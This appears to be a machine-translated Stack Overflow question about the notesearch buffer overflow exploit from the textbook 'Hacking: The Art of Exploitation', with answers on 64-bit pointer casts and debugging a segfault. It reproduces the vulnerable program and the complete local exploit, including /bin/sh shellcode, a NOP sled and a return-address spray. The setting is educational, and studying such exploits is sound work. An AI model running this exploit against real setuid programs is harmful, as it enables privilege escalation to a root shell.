【问题标题】:Need help understanding buffer overflow and its exploit需要帮助了解缓冲区溢出及其利用
【发布时间】:2016-03-24 16:05:05
【问题描述】:

我已经购买了这本书,名为“Hacking, The Art of Exploitation”,其中有一个程序是从之前在书中出现的程序的缓冲区溢出漏洞利用程序。我遇到了一些问题。首先,如果我尝试运行程序,我会遇到分段错误(即使作者运行了与我完全相同的命令并且他没有遇到任何问题)我的第二个问题是我认为作者做了一个解释到底发生了什么的糟糕工作。我很困惑这个利用 1) 确定偏移值 2) 使用 NOP 雪橇来查找返回地址(这是如何工作的) 3) shellcode 如何说明正在发生的事情/它说什么/我如何阅读它。

被利用程序的代码是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h" //Just an error checked malloc and an error message/exit function

#define FILENAME "/var/notes"

void fatal(char *);
int print_notes(int, int, char *);
int find_user_note(int, int);
int search_note(char *, char *);

int main(int argc, char *argv[]) {
    int fd, userid, printing = 1;
    char searchstring[100];

    if (argc > 1)
        strcpy(searchstring, argv[1]);
    else
        searchstring[0] = 0;

    userid = getuid();

    fd = open(FILENAME, O_RDONLY);
    if(fd == -1) {
        fatal("in main opening file");
    }

    while(printing) 
        printing = print_notes(fd, userid, searchstring);

    printf("-------[ end of note data ]-------\n");
    close(fd);
}

// A function to print the notes for a given uid that match an optional searchstring 
// Returns 0 at end of file, 1 if still more notes
int print_notes(int fd, int uid, char *searchstring){

    int note_length;
    char byte = 0;
    char note_buffer[100];

    note_length = find_user_note(fd, uid);
    if(note_length == -1) //If end of file reached
        return 0;         // Return 0;

    read(fd, note_buffer, note_length); // Read More Data
    note_buffer[note_length] = 0;       // Terminate the String

    if(search_note(note_buffer, searchstring))  //If searchstring found
        printf(note_buffer);            //Print the note
    return 1;
}   

// A function to find the next note for a given userID
// Returns -1 if the end of the file is reached
// Otherwise, it returns the length of the found note
int find_user_note(int fd, int user_uid) {

    int note_uid = -1;
    unsigned char byte;
    int length;

    while(note_uid != user_uid) { // Loop unitl a note for user_uid is found

        if(read(fd, &note_uid, 4) != 4) // Read the uid data
        return -1; // If 4 bytes arent read, return end of file code

        if(read(fd, &byte, 1) != 1) //Read the newline separtor
            return -1;

        byte = length = 0;
        while(byte != '\n') { // Figure out how many bytes to the end of line
            if(read(fd, &byte, 1) != 1) // Read Single byte
                return -1; // If byte isn't read, return end of file code
            length++;
        }
    }

    lseek(fd, length * -1, SEEK_CUR); // Rewind file by reading length bytes

    printf("[DEBUG] found a %i byte note for user id %i\n", length, note_uid);
    return length;
}

//A function to search a note for a given keyword
// Returns 1 if a match is found, 0 if there is no match
int search_note(char *note, char *keyword){

    int i, keyword_length, match=0;

    keyword_length = strlen(keyword);
    if(keyword_length == 0) // If there is no searchstring
         return 1; //Always match

    for(i=0; i < strlen(note); i++){ // Iterate over bytes in note
        if(note[i] == keyword[match]) // If byte matches keyword
            match++;    // Get ready to check nexy byte
        else {
            if(note[i] == keyword[match]) // If byte matches keyword    
                match = 1; // Start the match count at 1
            else        
                match = 0; // Otherwise its zero
        }

        if(match == keyword_length) // If there is a full match
            return 1; // return match
    }
    return 0; // return not matched 
}


The exploit that is included is:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

     unsigned int i, *ptr, ret, offset = 270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200); //Zero out the new memory

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command); // Set buffer at the end

    if(argc > 1) //Set offset
        offset = atoi(argv[1]);

    ret = (unsigned int)&i - offset; //Set return address

    for(i=0; i <160; i+=4) //Fill buffer with return addres
        *((unsigned int *)(buffer + i)) = ret;

    memset(buffer, 0x90, 60); //Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

    strcat(command, "\'");

    system(command); //Run Exploit
    free (command);
}

关于该代码的注意事项:我在分配 i - 偏移地址的行上收到警告。我很确定这是因为因为我使用的是 64 位机器,所以指针是 8 个字节,而 unsigned int 只有 4。为了解决这个问题,我输入了一个 long unsigned int。我不确定这是否是好的做法,但当我错了时请纠正我。 所以我把它改成了:

ret = (unsigned int)&i - 偏移量; //设置返回地址[/code]

我已经使用gdb分析了发生了什么,我发现分段错误发生在线路中

系统(命令); // 运行漏洞

我还使用 gdb 彻底检查了程序中所有变量地址的内存,我注意到当本书的作者检查命令变量的内容时(虽然它有 shellcode),他的输出显示了一堆古怪的字符,但我的输出显示数字和斜线。为什么会有区别?

我的主要观点是,我不知道如何阻止这种分段错误的发生,但仍然让这个漏洞利用正常工作。如果有人能够帮助我,那就太好了。如果有人需要更多信息,我很乐意提供。

PS-我正在运行 kali linix 64 位 if(如果这可能有助于您确定某些事情)

EDIT导致分段错误的行是:

 *((unsigned int*)(buffer+i)) = ret;

【问题讨论】:

  • argv[1] 可以是大于 100 的任意长度。您必须为 strlen(argv[1]) 分配足够的空间
  • @self 是被利用的缓冲区溢出。我对此并不感到困惑。我对漏洞利用中发生的事情感到更加困惑
  • 这本书最初是从 2008 年开始的,所以当时指针可能被认为是 4 个字节(即使它的假设/编程很糟糕),但在这方面你可能是对的。
  • @ringø 是的,我检查过,我很确定情况就是这样。但我很确定当我输入 long unsigned int 时我已经解决了这个问题。无论如何,在这两种情况下仍然存在分段错误
  • 您是否使用调试标志进行编译?调试选项会在运行时开启额外的检查,这可能会触发 Seg Fault。

标签: c buffer-overflow exploit


【解决方案1】:

你可以用这样的方式模拟缓冲区溢出:

char big_buffer[10000];
char *searchstring = big_buffer;
char *overflow = big_buffer + 1000;

memset(big_buffer, 0xff, 10000 * sizeof(char));
memset(searchstring, 0, 100);

然后在调试器中观察溢出区域就可以看到溢出了。

【讨论】:

    【解决方案2】:

    我在分配 i-offset 地址的行上收到警告。 我很确定这是因为我使用的是 64 位机器, 一个指针是 8 个字节,而一个无符号整数只有 4 个。为了解决这个问题, 我输入了一个长的无符号整数。我不确定这是否好 练习,但当我错的时候纠正我。所以我把它改成了:

    ret = (unsigned int)&i - 偏移量; //设置返回地址

    与你写的相反(我输入了一个长的无符号整数),你只输入了一个unsigned int,这是错误的(太短了)。为此,您最好使用来自&lt;stdint.h&gt;uintptr_t(如果有)。请注意,您还必须为此定义足够长的 ret

    导致分段错误的行是:

     *((unsigned int*)(buffer+i)) = ret;
    

    这很难相信(除非它在存储 4 字节值时产生对齐异常的处理器上运行),因为此处写入的地址范围为 200 字节分配的内存区域中的偏移量 14 到 170。您可以展示导致您得出该结论的步骤,并命名使用的机器硬件 (uname -m)。

    【讨论】:

      【解决方案3】:
      ret = (unsigned int)&i - offset; //Set return address
      

      改成

      ret = ((long int) &i) - offset; //Set return address
      

      【讨论】:

      • 欢迎来到 Stack Overflow!感谢您提供此代码 sn-p,它可能会提供一些有限的即时帮助。 proper explanation would greatly improve its long-term value 通过展示为什么这是一个很好的解决问题的方法,并将使其对未来有其他类似问题的读者更有用。请edit您的回答添加一些解释,包括您所做的假设。
      猜你喜欢
      • 2011-02-14
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-09-12
      • 2016-02-07
      • 2013-11-06
      • 1970-01-01
      • 2010-10-02
      相关资源
      最近更新 更多